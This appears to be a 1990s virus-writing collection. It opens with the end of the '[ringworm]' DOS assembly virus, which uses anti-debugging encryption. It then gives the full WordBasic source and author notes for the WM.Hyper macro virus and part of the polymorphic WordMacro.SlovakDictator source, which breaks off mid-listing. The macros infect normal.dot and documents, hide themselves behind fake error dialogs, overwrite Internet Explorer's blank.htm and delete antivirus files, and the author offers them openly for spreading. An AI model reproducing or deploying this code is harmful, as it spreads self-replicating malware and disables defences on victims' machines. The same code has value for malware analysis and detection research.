        int     21h                             ; do it!

        mov     ah, 40h                         ; write file from handle bx
        mov     cx, virus_end - virus_start     ; number of bytes to write
        mov     dx, offset virus_start          ; start writing from cs:100h
        pusha

        jmp     heap + 0001h

exit_virus:
        int     20h                             ; we're outta here...

next_file:
        mov     ah, 3Eh                         ; ah = 3Eh, close file
        int     21h                             ; do it!

        mov     ah, 4Fh                         ; ah = 4Fh, find next file
        int     21h                             ; do it!

        jmp     find_file

write_virus:
        mov     ax, offset decrypt
        call    ax
        popa
        int     21h                             ; write the bitch!

        mov     ah, 3Eh                         ; ah = 3Eh, close file
        int     21h                             ; do it!

        int     20h

end_write_virus equ     $

virus_name      db      '[ringworm]', 00h
virus_author    db      '(c) 1997 gothmog', 00h

; ===========================================================================
; S  Contains a routine to search for executable (.COM or .EXE) files.
;
; file_mask     db      '*.com', 00h
; ===========================================================================

file_mask       db      '*.txt', 00h

anti_fprot:
        mov     ax, 4653h
        mov     bx, 0001h
        xor     ch, ch
        int     2Fh
        ret

end_encrypt     equ     $ - 0001h

my_int1:
        call    my_int1

my_int3:
        call    my_int3

encrypt:
decrypt:
        mov     si, offset start_encrypt
        mov     di, si
        xor     bx, bx
        push    bx             ; zero has to be on stack for zeroing cx below

; (this is done real crazy to be hard to trace, and also very anti-heuristic;
;  nothing recognizes this entire structure as a decryption loop at all...)

        mov     bx, offset false_jump_2                      ; see note below
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xor_loop:
        lodsw
        jnc     false_jump

false_jump_2:
        pop     ax
        pop     cx
        stosw
        loop    xor_loop
        pop     ax
        ret

false_jump:
        db      35h

encrypt_key             dw      0000

        pop     dx
        push    dx
        push    cx
        push    ax
        xchg    cx, dx
        mov     ax, 0FFEBh ; <----------------- debugger trap, with next line
        jcxz    $ - 2      ;         (actually executes a jmp bx instruction)

        call    my_int1

virus_end       equ     $

heap:

        end     virus_start

; ============================================================[ code ends ]==
[WordMacro.Hyper]


Identification:

->VIRUSNAME: WM.Hyper
->SIZE:      22,528 Bytes (9 Macros)
->VERSION:   v1.01
->ORIGIN:    United Kingdom
->AUTHOR:    Hyperlock
->DATE:      March, 1997


Characteristics:

->Polymorphism        Yes
->Stealth             Yes
->Encrypted           Yes, this file isn't but see virii.zip for encrypted version
->Retro               Yes, but only targeting Dr. Solomon
->External Infection  Yes, Microsoft Internet Explorer



INTRODUCTION
============

This virus has been written to demonstrate some of the ideas that have 
been rattling around my head for a while. Some of the concepts you will 
have seen before, whereas others you definitely will not have. I have 
another virus in the making, implementing many of the features I had to 
leave out of this one. But hey, the more virus code out there the better. 
Your comments are welcome.

The virus morphs the payload macro. The macro names that are the same 
as the built-in ones are not morphed. The stealth is simple but effective. It 
captures both calls for the macro organiser through Tools/Macro and 
Files/Template. Most virii don't capture Files/Template so I thought it was 
about time. This makes it a bit of a pain to remove once infection has 
occurred, so as always make sure your normal.dot is backed-up 
somewhere else. There are other ways of removing it, but more on those 
techniques another time.

It will be encrypted, but because it is a bit of a pain, but not hard, to 
decrypt it, it is here in text format. The virus does have retro as part of the 
payload, but targets Dr. Solomon's Findvirus only. It determines if it 
exists and then removes it, but only after certain conditions are met.

As its payload it infects Microsoft Internet Explorer. This is really just for 
demo purposes; I'm sure something can be done with it. All it does is 
make a scrolling marquee in HTML when it cannot find your modem. 
This can, of course, be changed to do almost anything in JavaScript, 
VBScript or HTML. More in this later. As far as I am aware, this is the 
first virus to infect Internet Explorer in this way.

The virus consists of the following 9 macros:

	AutoExec
	AutoOpen
	AutoClose
	FileSave
	FileSaveAs
	FileTemplates
	ToolsMacro
	EditAutotext
	Hyper (identifier mutates in normal.dot)




HOW IT WORKS
============

OK, here is the run down on how the virus propagates, infects and 
mutates. I have commented the code enough to make it readable to a 
reasonable programmer. If you can't follow it, then takes some lessons in 
Word Basic.

The AutoOpen macro executes when a document is opened. It copies all 
macros to normal.dot, and calls the mt$ function to mutate the payload 
macro (hyper). Notice the use of AutoText to store the mutated macro 
name; this method was chosen so that it cannot be deleted externally to 
word, e.g., in an INI file. To prevent anyone touching the macro name, 
note the use of the EditAutoText macro, which has been used to disable it.

An INI file "nostrad.ini" is created and contains an infection counter and 
other info. You can have a go at deciphering the copyright info if you 
want, shouldn't be too hard.

AutoClose operates in the same way as AutoOpen, and uses the AutoOpen 
profile and mutation macros. It checks for the existence of the mutation 
string in AutoText and uses it if it exists. The AutoExec macro was left 
empty on purpose, I didn't want a particular virus messing about when 
mine is doing its stuff. What can I say, shit happens.

OK, moving on to the FileSave and FileSaveAs macros; these are almost 
the same except that FileSave forces a document to be saved as a template 
without checking what it is before hand. It is the fasted way for the thing 
to run. There is no point is checking for this. These macros copy all virus 
macros from normal.dot to the victim template, disguised as a document, 
of course. The payload macro, stored in the form Mxxxx in normal.dot is 
saved as hyper in the victim template.

FileTemplates and ToolsMacro are the two most accessible methods for 
viewing macros. Hence, these are disabled. Normally, FileTemplates is 
not touched, but it is now. EditAutoText is used to prevent the deletion of 
the macro mutation identifier, because it is stored internally as an autotext 
entry. AutoText entries can also be deleted using the macro organiser, but 
it has been disabled anyway using FileTemplates and ToolsMacro macros!



THE PAYLOAD
===========


Last, but not least, we have the payload macro 'hyper'. The macro name 
mutates to be of the form 'Mxxxx' in normal.dot, where xxxx is a random 
number. It infects Microsoft Internet Explorer using HTML and 
JavaScript to do so. Note that this payload is an example of how to do 
this, hence the HTML is pretty small and just displays and scrolling 
marquee. It also has a retro element, where it searches for Dr. Solomon 
AV and removes it if certain conditions are met. It is executed by 
AutoOpen and AutoClose.

OK, it uses debug to create a file which, when copied, becomes blank.htm. 
Note that this htm file is loaded by IE when it cannot find a modem when 
it is launched or if a site is found to be invalid on the initial load of IE. 
There are other conditions when blank.htm is used, but these are the most 
common.

It creates a debug input script and a batch file. The batch file executes 
debug and feeds in the script, creating hyper.dat as the output. This file 
will then be copied to windows/system as the new blank.dat. The last 
thing the batch file does is create a flag file. This flag file is needed 
because when the batch file is shelled, the rest of the macro in word 
continues to execute, so a loop is used to check for the creation of this flag 
file. Once found, all work files in windows\temp of the form hyp*.* are 
removed (gotta keep the place tidy!). 

The last part of the payload is the retro part. It deletes Dr. Solomon 
FindViru if it exists when the infection counter is < 5 or every 10th 
infection. Well, gotta give someone a chance to delete it!

Anyway, enough of this crap, the code is below. Enjoy.


Regards,

Hyperlock





VIRUS CODE
==========


----------------------------------------------------------------------------------------

Macro: AutoOpen


REM
REM WM.Hyper virus
REM
REM On AutoOpen of document, copy all macros to normal.dot
REM Occurs each time you open an existing document
REM

Sub MAIN
On Error Goto endsub

	DisableInput 1
	REM stop message on change of normal.dot
	ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0


	REM mutate payload name if one does not exist in system
	pay$ = GetAutoText$("wm.hyper", 0)
	If pay$ = "" Then
	  pay$ = mt$
	  SetAutoText("wm.hyper", pay$, 0)
	End If

	REM copy macros
	ct$ = FileName$()
	MacroCopy ct$ + ":autoexec", "global:autoexec",1
	MacroCopy ct$ + ":autoclose", "global:autoclose",1
	MacroCopy ct$ + ":autoopen", "global:autoopen",1
	MacroCopy ct$ + ":filesaveas", "global:filesaveas",1
	MacroCopy ct$ + ":filesave", "global:filesave",1
	MacroCopy ct$ + ":editautotext", "global:editautotext",1
	MacroCopy ct$ + ":toolsmacro", "global:toolsmacro",1
	MacroCopy ct$ + ":filetemplates", "global:filetemplates",1
	MacroCopy ct$ + ":hyper", "global:" + pay$,1
	profupdate
	hyper

endsub:
End Sub



REM
REM Maintain a counter of infections
REM
Sub profupdate

	entry$ = GetPrivateProfileString$("virus", "hyper_counter", "nostrad.ini")

	If entry$ = "" Then
	  SetPrivateProfileString("virus", "hyper_counter", "1", "nostrad.ini")
	  SetPrivateProfileString("virus", "author", "Hyperlock", "nostrad.ini")

	  c$ = "0400990410"
	  c$ = c$ + "3207212111"
	  c$ = c$ + "2101114108"
	  c$ = c$ + "1110991070"
	  c$ = c$ + "4403207709"
	  c$ = c$ + "7114099104"
	  c$ = c$ + "0320490570"
	  c$ = c$ + "57055"

	  SetPrivateProfileString("virus", "copyright", c$, "nostrad.ini")
	  
	Else
	  a = Val(entry$) + 1
	  entry$ = Str$(a)
	  SetPrivateProfileString("virus", "hyper_counter", entry$, "nostrad.ini")
	End If

End Sub



REM
REM Mutate macro identifiers, except auto, edit and file macros
REM
Function mt$

	m$ = ""
	While Len(m$) <= 2
	  m$ = getrnd$
	Wend

	mt$ = "M" + LTrim$(m$)

End Function


Function getrnd$

	i = Rnd() * 4096
	j = Rnd() * 512
	x = Int(Rnd() * (j - i) + i)
	getrnd$ = Str$(x)

End Function




----------------------------------------------------------------------------------------

Macro: AutoClose

REM
REM WM.Hyper virus
REM
REM Autoclose macro
REM Occurs each time you close a document
REM

Sub MAIN
On Error Goto endsub

	DisableInput 1
	REM stop message on change of normal.dot
	ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0


	REM mutate payload name if one does not exist in system
	pay$ = GetAutoText$("wm.hyper", 0)
	If pay$ = "" Then
	  pay$ = autoopen.mt$
	  SetAutoText("wm.hyper", pay$, 0)
	End If

	REM copy macros
	ct$ = FileName$()
	MacroCopy ct$ + ":autoexec", "global:autoexec",1
	MacroCopy ct$ + ":autoclose", "global:autoclose",1
	MacroCopy ct$ + ":autoopen", "global:autoopen",1
	MacroCopy ct$ + ":filesaveas", "global:filesaveas",1
	MacroCopy ct$ + ":filesave", "global:filesave",1
	MacroCopy ct$ + ":editautotext", "global:editautotext",1
	MacroCopy ct$ + ":toolsmacro", "global:toolsmacro",1
	MacroCopy ct$ + ":filetemplates", "global:filetemplates",1
	MacroCopy ct$ + ":hyper", "global:" + pay$,1
	autoopen.profupdate
	hyper

endsub:
End Sub




----------------------------------------------------------------------------------------

Macro: AutoExec


REM
REM WM.Hyper virus
REM Version: 1.01
REM

Sub MAIN

End Sub




----------------------------------------------------------------------------------------

Macro: FileSave

REM
REM WM.Hyper virus
REM
REM Catch FileSave and refresh if possible
REM

Sub MAIN
On Error Goto endsub
REM stops error 24 when macros already exist

	REM stop message on change of normal.dot, just in case
	REM user changed it and set document flag as changed
	DisableInput 1
	ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0
	DisableAutoMacros 0
	SetDocumentDirty

	REM Force document to be a template (change to template and save)
	Dim dlg As FileSaveAs
	GetCurValues dlg
	dlg.Format = 1
	FileSaveAs dlg

	REM copy macros to local document template
	ct$ = FileName$()
	pay$ = GetAutoText$("wm.hyper", 0)
	MacroCopy "global:autoexec", ct$ + ":autoexec",1
	MacroCopy "global:autoclose", ct$ + ":autoclose",1
	MacroCopy "global:autoopen", ct$ + ":autoopen",1
	MacroCopy "global:filesaveas", ct$ + ":filesaveas",1
	MacroCopy "global:filesave", ct$ + ":filesave",1
	MacroCopy "global:editautotext", ct$ + ":editautotext",1
	MacroCopy "global:toolsmacro", ct$ + ":toolsmacro",1
	MacroCopy "global:filetemplates", ct$ + ":filetemplates",1
	MacroCopy "global:" + pay$, ct$ + ":hyper",1
	autoopen.profupdate

	FileSave

	REM bypass the if statement below
	Err = 102

endsub:
 	If Err <> 102 Then
	  FileSave
	End If

End Sub




----------------------------------------------------------------------------------------

Macro: FileSaveAs

REM
REM WM.Hyper virus
REM
REM FileSaveAs Macro
REM


Sub MAIN
On Error Goto endsub

	DisableInput 1
	REM stop message on change of normal.dot, just in case
	REM user changed it and set document flag as changed
	ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0
	DisableAutoMacros 0
	SetDocumentDirty

	REM get the values for the filesaveas dialog
	Dim dlg As FileSaveAs
	GetCurValues dlg
	Dialog dlg


	REM set doc type to be a template regardless of current type
	dlg.Format = 1

	
	REM copy macros to local document template
	ct$ = FileName$()
	pay$ = GetAutoText$("wm.hyper", 0)

	MacroCopy "global:autoexec", ct$ + ":autoexec",1
	MacroCopy "global:autoclose", ct$ + ":autoclose",1
	MacroCopy "global:autoopen", ct$ + ":autoopen",1
	MacroCopy "global:filesaveas", ct$ + ":filesaveas",1
	MacroCopy "global:filesave", ct$ + ":filesave",1
	MacroCopy "global:editautotext", ct$ + ":editautotext",1
	MacroCopy "global:toolsmacro", ct$ + ":toolsmacro",1
	MacroCopy "global:filetemplates", ct$ + ":filetemplates",1
	MacroCopy "global:" + mn$, ct$ + ":hyper",1
	autoopen.profupdate
	
	REM save new file settings now replication is complete
	FileSaveAs dlg

	REM bypass the if statement below
	Err = 102


endsub:
	If Err <> 102 Then
	  FileSaveAs dlg
	End If

End Sub




----------------------------------------------------------------------------------------

Macro: FileTemplates

REM
REM WM.Hyper virus
REM
REM FileTemplates macro
REM

Sub MAIN

	MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48)

End Sub




----------------------------------------------------------------------------------------

Macro: ToolsMacro

REM
REM WM.Hyper virus
REM
REM ToolsMacro macro
REM

Sub MAIN

	MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48)

End Sub




----------------------------------------------------------------------------------------

Macro: EditAutotext 

REM
REM WM.Hyper virus
REM
REM Disable Edit/Autotext
REM This is so that the mutation marker cannot be altered
REM or deleted. The toolsmacro and filetemplates macros
REM block the other routes to the autotext, which can be
REM changed through the organizer.
REM

Sub MAIN

	MsgBox("Not enough memory to perform this operation", "Microsoft Word", 48)

End Sub




----------------------------------------------------------------------------------------

Macro: Hyper (local document), mutates in normal.dot to Mxxxx

REM
REM WM.Hyper virus
REM
REM This macro name will mutate.
REM This is the payload. It infects Microsoft Internet Explorer
REM through HTML in blank.htm, which is loaded if cannot find a
REM modem or if a site is initially invalid, amongst others.
REM

Sub MAIN

  DisableInput 1
  DisableAutoMacros 0
  ToolsOptionsSave .GlobalDotPrompt = 0, .RecommendReadOnly = 0

  REM windows temp dir
  p$ = DefaultDir$(13)
  Open p$ + "\hyper.dbg" For Output As #1
  Print #1, "n hyper.dat"
  Print #1, "e 0100 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54"
  Print #1, "e 0110 49 54 4c 45 3e 4d 69 63 72 6f 73 6f 66 74 20 49"
  Print #1, "e 0120 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72"
  Print #1, "e 0130 3c 2f 54 49 54 4c 45 3e 0a 3c 53 43 52 49 50 54"
  Print #1, "e 0140 20 4c 41 4e 47 55 41 47 45 3d 22 4a 61 76 61 53"
  Print #1, "e 0150 63 72 69 70 74 22 3e 0a 3c 21 2d 2d 0a 66 75 6e"
  Print #1, "e 0160 63 74 69 6f 6e 20 64 73 28 29 0a 7b 0a 77 69 6e"
  Print #1, "e 0170 64 6f 77 2e 73 74 61 74 75 73 20 3d 20 22 57 4d"
  Print #1, "e 0180 2e 48 79 70 65 72 20 68 61 73 20 6e 6f 77 20 69"
  Print #1, "e 0190 6e 66 65 63 74 65 64 20 57 6f 72 64 20 61 6e 64"
  Print #1, "e 01a0 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72"
  Print #1, "e 01b0 65 72 21 22 3b 0a 7d 0a 2d 2d 3e 0a 3c 2f 53 43"
  Print #1, "e 01c0 52 49 50 54 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42"
  Print #1, "e 01d0 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 64 73 28 29"
  Print #1, "e 01e0 3b 22 3e 0a 3c 54 41 42 4c 45 20 57 49 44 54 48"
  Print #1, "e 01f0 3d 36 32 30 20 43 45 4c 4c 50 41 44 44 49 4e 47"
  Print #1, "e 0200 3d 30 20 43 45 4c 4c 53 50 41 43 49 4e 47 3d 30"
  Print #1, "e 0210 20 42 4f 52 44 45 52 3d 30 3e 0a 3c 54 52 3e 0a"
  Print #1, "e 0220 3c 54 44 3e 0a 3c 46 4f 4e 54 20 46 41 43 45 3d"
  Print #1, "e 0230 22 41 72 69 61 6c 22 20 53 49 5a 45 3d 32 3e 0a"
  Print #1, "e 0240 3c 4d 41 52 51 55 45 45 20 57 49 44 54 48 3d 36"
  Print #1, "e 0250 30 30 20 53 43 52 4f 4c 4c 44 45 4c 41 59 3d 38"
  Print #1, "e 0260 30 20 42 4f 52 44 45 52 3d 30 3e 0a 59 6f 75 72"
  Print #1, "e 0270 20 73 79 73 74 65 6d 20 68 61 73 20 62 65 65 6e"
  Print #1, "e 0280 20 69 6e 66 65 63 74 65 64 20 77 69 74 68 20 74"
  Print #1, "e 0290 68 65 20 57 4d 2e 48 79 70 65 72 20 76 69 72 75"
  Print #1, "e 02a0 73 2e 20 0a 49 74 20 6c 6f 6f 6b 73 20 6c 69 6b"
  Print #1, "e 02b0 65 20 79 6f 75 20 61 72 65 20 67 6f 6e 6e 61 20"
  Print #1, "e 02c0 68 61 76 65 20 74 6f 20 74 61 6b 65 20 73 6f 6d"
  Print #1, "e 02d0 65 20 72 65 6d 65 64 69 61 6c 20 61 63 74 69 6f"
  Print #1, "e 02e0 6e 20 2e 2e 2e 20 0a 28 63 29 20 48 79 70 65 72"
  Print #1, "e 02f0 6c 6f 63 6b 2c 20 4d 61 72 63 68 20 31 39 39 37"
  Print #1, "e 0300 0a 3c 2f 4d 41 52 51 55 45 45 3e 0a 3c 2f 46 4f"
  Print #1, "e 0310 4e 54 3e 0a 3c 2f 54 44 3e 0a 3c 2f 54 52 3e 0a"
  Print #1, "e 0320 3c 2f 54 41 42 4c 45 3e 0a 3c 2f 42 4f 44 59 3e"
  Print #1, "e 0330 0a 3c 2f 48 54 4d 4c 3e"
  Print #1, "rcx"
  Print #1, "0238"
  Print #1, "w"
  Print #1, "q"
  Close #1

  REM create batch file to move from Windows temp directory to windows/system,
  Open p$ + "\hypconv.bat" For Output As #1
  Print #1, "@cd " + p$
  Print #1, "@debug < " + "hyper.dbg > hyptemp"
  Print #1, "@move " + "hyper.dat " + "..\system\blank.htm"
  Print #1, "@copy hyptemp hypflag"
  Print #1, "@exit"
  Close #1

  Shell p$ + "\hypconv.bat", 0

  REM wait for batch file to finish, then delete all work files
  While Files$(p$ + "\hypflag") = ""
  Wend
  Kill p$ + "\hyp*.*"

  REM Retro - every 10th or first few infections, delete Dr. Solomon.
  REM Got to give them a chance to delete Hyper!
  c$ = GetPrivateProfileString$("virus", "hyper_counter", "nostrad.ini")
  If c$ <> "" Then
    If Val(c$) Mod 10 = 0 Or Val(c$) < 5 Then
      If Files$("c:\toolkit\findviru.*") <> "" Then
        Kill "c:\toolkit\findviru.*"
      End If
    End If
  End If

End Sub




----------------------------------------------------------------------------------------

-- Hyperlock, March 1997 --

----------------------------------------------------------------------------------------
      --------------------------------------------------------------
                     A polymorphic virus  WordMacro.SlovakDictator
 			written by Nasty Lamer & Ugly Luser 
			     ,
		 By     <****{=============-
			     ' AuRoDrEpH, the Drow
      --------------------------------------------------------------
                           

Main features:

- the first slovak macro virus !
- the first world true polymorphic virus !
  Its body is mutated, each copy of the virus has a different size
- each copy of the virus is absolutely different !
  It will be very hard to detect it by using signatures, because all
  variables are fully mutated !
  No typical virus signature !
  No more exact macro virus detection !
- it doesn't use any commands for copying macros !
- known AV programs do not detect it !
- it fools all heuristics scanners !
- it uses LME (Lamer's Macro Engine) ver. 1.00 to generate polymorphic
  macro viruses
- it uses special infection techniques !
- If AVers look at the source code of the virus, they will be shocked !
  80% of the virus is internaly encrypted by a different encryption
  constant !


Infection:

The virus contains only one unecrypted macro AutoClose. It infects all
documents or global templates while they are being closed.

No destructions or other actions ! (good for testing purposes)

Occassionally (every 4th and 11th day of each month) it displays a message
box with a virus warning.

It infects ONLY Word 7.x documents. Due to its special infection techniques
it isn't able to infect Word 8.0 documents.

The virus is language-dependent (it creates macro ...), tested with
the english version of Word 7.0 only (it works well).

Disadvantages:

- process of infection is very slow, it may take over 15 seconds on
  a slow PC
- Although the virus prevents the ESC key from interrupting the macro,
  pressing keys while the virus is running may cause a bug in creating
  mutated names of variables and due this reason a bug in the executing
  macro may occure. (it will be fixed in version for Word 8.0)


The virus source (Contained in the virus)  :
--------------------------------------------
'//// begin of hidden part ////
ShowBox
CurFile$ = FileName$()
If CurFile$ = @@@@ Then Goto UTCUSCLAOECQNLTBA

If CheckInstalled(0) = 0 Then
	Infect(1)
	ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 0
	Goto UTCUSCLAOECQNLTBA"
End If

Dim dlg As FileSaveAs
GetCurValues dlg
If dlg.Format = 0 Then
	dlg.Format = 1
	FileSaveAs dlg
End If

If CheckInstalled(1) = 0 Then
	Infect(3)
	FileSave
End If

UTCUSCLAOECQNLTBA:
End Sub

Sub ShowBox
ParlamentnyPuc = Day(Now())
If ParlamentnyPuc = 4 Or ParlamentnyPuc = 11 Then
	Beep
	Begin Dialog UserDialog 380, 224, @@Virus ALERT!@@
	Text 29, 8, 349, 13, @@You're infected by WordMacro.SlovakDictator virus@@, .Text1
	Text 15, 28, 360, 13, @@Welcome to the LME (Lamer's Macro Engine) ver. 1.00@@, .Text2
	Text 145, 51, 123, 13, @@Dis is Level 421@@, .Text3
	Text 35, 73, 342, 13, @@(c) 1-mar-97, Nasty Lamer && Ugly Luser, Slovakia@@, .Text4
	Text 34, 98, 343, 13, @@Dis is the first world true polymorphic macro virus !@@, .Text5
	="PushButton 120, 188, 147, 21, @@Accept / Suhlas@@, .Push1
	Text 100, 165, 228, 13, @@Big fuck to the big boxer V.M.@@, .Text6
	End Dialog
	Dim dlg As UserDialog
	Dialog(dlg)
End If
End Sub
 
Function CheckInstalled(j)
	On Error Resume Next
	CheckInstalled = 0
	For i = 1 To CountMacros(j)
		If MacroName$(i, j) = @@AutoClose@@ Then CheckInstalled = 1
	Next i
End Function

Sub Infect(WhatToInfect)
	JOVEPAKCFV$ = WindowName$()
	ToolsMacro .Name = @@AutoClose@@, .Show = WhatToInfect, .Edit
	EditClear - 20
	
'////
'//// Vlozenie prvych ITVNPFSFJOLERDPDVGC riadkov kodu makra
'//// viditelna cast - nemenit !
'////
	For i = 0 To ITVNPFSFJOLERDPDVGC : Insert FHUMCEAANPGT$(i) : InsertPara : Next i
'////
'//// premenna i ide od riadkov @@Sub OriginalMacroBody@@+1
'//// az po @@Sub FLPMKRKPCAPOCBQVUMN@@-1
'//// velmi pozorne urcit tieto konstanty !!!
'////
	For i = JGGUCPCJHP To ATBCMFMITOIRU
		Insert FHUMCEAANPGT$(i)
		InsertPara
	Next i
	EditReplace .Find = Chr$(64) + Chr$(64), .Replace = Chr$(34)
		, .Direction = 0, .MatchCase = 1, .WholeWord = 0, .PatternMatch = 0
		, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0

	VJPJHQNAQRNO = - Int((4 + Rnd() * 10))
	Call VOPESNDPVHCINP
	Insert @@VJPJHQNAQRNO = @@ + Str$(- VJPJHQNAQRNO)
	InsertPara
	HOKFFSFLVKJA
	DocClose 1
	Activate JOVEPAKCFV$
End Sub

'//// end of hidden part ////

Here is an exemple of what you can see :
----------------------------------------
         
Dim Shared CTOJSIQREBIMKSCJOQ
Dim Shared KRVTLQFIOQ
Dim Shared VFFLVOMBJO
Dim Shared SLDMTVLJUILNV
Dim Shared QCSQPHEEPFTIUNGC
Dim Shared QRPSLDKCBJN
Dim Shared ECFBULHOSNPVHFQHU
Dim Shared RCEGHFVLBVNUHPJ
Dim Shared FUFNJKGLSUIQKJLM
Dim Shared HTHPBJIVDPO
Dim Shared VJPJHQNAQRNO
Dim Shared FHUMCEAANPGT$(200)
Dim Shared ITVNPFSFJOLERDPDVGC
Dim Shared JGGUCPCJHP
Dim Shared ATBCMFMITOIRU
Dim Shared OQJKJCKTVTMLQS$(31)
Dim Shared DBTKGBAKSUBPOIBKTAH

Sub MAIN
On Error Goto UTCUSCLAOECQNLTBA
D�sactiverTouches 1
CTOJSIQREBIMKSCJOQ = 0
KRVTLQFIOQ = 1
VFFLVOMBJO = 2
SLDMTVLJUILNV = 7
QCSQPHEEPFTIUNGC = 10
QRPSLDKCBJN = 20
ECFBULHOSNPVHFQHU = 22
RCEGHFVLBVNUHPJ = 65
FUFNJKGLSUIQKJLM = 34
HTHPBJIVDPO = 64
ITVNPFSFJOLERDPDVGC = 38
JGGUCPCJHP = 120
ATBCMFMITOIRU = 179
DBTKGBAKSUBPOIBKTAH = 31
' test the version of Word must be the  7.0 version
ADKAPBAVCRPTNA$ = AppInfo$(VFFLVOMBJO) 
AVLRCKOUFVTMKMJPJR = Val(Left$(ADKAPBAVCRPTNA$, KRVTLQFIOQ))
If AVLRCKOUFVTMKMJPJR <> SLDMTVLJUILNV Then Goto UTCUSCLAOECQNLTBA 'if OK, load all the variable

Call FLPMKRKPCAPOCBQVUMN
EcranMiseAJour CTOJSIQREBIMKSCJOQ
D�sactiverMacrosAuto KRVTLQFIOQ
VOPESNDPVHCINP

' open a new macro and copy all the source in it
JOVEPAKCFV$ = NomFen�tre$()
OutilsMacro .Nom = "MBDRPMTMVEKV", .Afficher = KRVTLQFIOQ, .Modifier
EditionEffacer - QRPSLDKCBJN
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
	Insertion FHUMCEAANPGT$(BJHKBJMKQVULFPN)
	InsertionPara
Next BJHKBJMKQVULFPN

EditionRemplacer .Rechercher = Chr$(HTHPBJIVDPO) + Chr$(HTHPBJIVDPO)
	, .Remplacer = Chr$(FUFNJKGLSUIQKJLM), .Sens = CTOJSIQREBIMKSCJOQ
	, .RespecterLaCasse = KRVTLQFIOQ, .MotEntier = CTOJSIQREBIMKSCJOQ
	, .Crit�resSp�ciaux = CTOJSIQREBIMKSCJOQ, .R�serv�23 = CTOJSIQREBIMKSCJOQ
	, .RemplacerTout, .Format = CTOJSIQREBIMKSCJOQ, .RenvoiLigneAuto = KRVTLQFIOQ
	, .TrouverToutesFormesDuMot = CTOJSIQREBIMKSCJOQ

HOKFFSFLVKJA
ULTNGQPUUTERVSDV
FenDocFermeture KRVTLQFIOQ
Activer JOVEPAKCFV$

Call MBDRPMTMVEKV
OutilsMacro .Nom = "MBDRPMTMVEKV", .Afficher = KRVTLQFIOQ, .Supprimer

UTCUSCLAOECQNLTBA:  
' end of the virus ...
D�sactiverMacrosAuto CTOJSIQREBIMKSCJOQ
EcranMiseAJour KRVTLQFIOQ
D�sactiverTouches CTOJSIQREBIMKSCJOQ
End Sub

Sub VOPESNDPVHCINP
' load all the Dim Shared variables at the end of the big array (200 lines)
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
	COICSINJIUIOI$ = ""
	VGBPGUTQAQ = Len(FHUMCEAANPGT$(BJHKBJMKQVULFPN))
	For MUANKIPLHAIGVBJSDI = KRVTLQFIOQ To VGBPGUTQAQ
		COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Asc(Mid$(FHUMCEAANPGT$(BJHKBJMKQVULFPN)
			, MUANKIPLHAIGVBJSDI, KRVTLQFIOQ)) - VJPJHQNAQRNO)
	Next MUANKIPLHAIGVBJSDI
	FHUMCEAANPGT$(BJHKBJMKQVULFPN) = COICSINJIUIOI$
Next BJHKBJMKQVULFPN
End Sub

Sub HOKFFSFLVKJA
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To ATBCMFMITOIRU
	Insertion "FHUMCEAANPGT$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM)
			 + FHUMCEAANPGT$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)
	InsertionPara
Next BJHKBJMKQVULFPN
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ
	Insertion "OQJKJCKTVTMLQS$(" + Str$(BJHKBJMKQVULFPN) + ")=" + Chr$(FUFNJKGLSUIQKJLM)
			 + OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN) + Chr$(FUFNJKGLSUIQKJLM)
	InsertionPara
Next BJHKBJMKQVULFPN
End Sub

Function CEDKKKAROAKFSRAH$
' generate random name
COICSINJIUIOI$ = ""
For BJHKBJMKQVULFPN = KRVTLQFIOQ To QCSQPHEEPFTIUNGC + Rnd() * QCSQPHEEPFTIUNGC
	COICSINJIUIOI$ = COICSINJIUIOI$ + Chr$(Rnd() * ECFBULHOSNPVHFQHU + RCEGHFVLBVNUHPJ)
Next BJHKBJMKQVULFPN
	CEDKKKAROAKFSRAH$ = COICSINJIUIOI$
End Function

Sub ULTNGQPUUTERVSDV
For BJHKBJMKQVULFPN = CTOJSIQREBIMKSCJOQ To DBTKGBAKSUBPOIBKTAH - KRVTLQFIOQ
	EditionRemplacer .Rechercher = OQJKJCKTVTMLQS$(BJHKBJMKQVULFPN)
		, .Remplacer = CEDKKKAROAKFSRAH$, .Sens = CTOJSIQREBIMKSCJOQ
		, .RespecterLaCasse = KRVTLQFIOQ, .MotEntier = CTOJSIQREBIMKSCJOQ
		, .Crit�resSp�ciaux = CTOJSIQREBIMKSCJOQ, .R�serv�23 = CTOJSIQREBIMKSCJOQ
		, .RemplacerTout, .Format = CTOJSIQREBIMKSCJOQ, .RenvoiLigneAuto = KRVTLQFIOQ
		, .TrouverToutesFormesDuMot = CTOJSIQREBIMKSCJOQ
Next BJHKBJMKQVULFPN
End Sub

Sub FLPMKRKPCAPOCBQVUMN
VJPJHQNAQRNO =  6
FHUMCEAANPGT$(0) = "Jos&Yngxkj&IZUPYOWXKHOSQYIPUW"
FHUMCEAANPGT$(1) = "Jos&Yngxkj&QX\ZRWLOUW"
FHUMCEAANPGT$(2) = "Jos&Yngxkj&\LLR\USHPU"
FHUMCEAANPGT$(3) = "Jos&Yngxkj&YRJSZ\RP[ORT\"
FHUMCEAANPGT$(4) = "Jos&Yngxkj&WIYWVNKKVLZO[TMI"
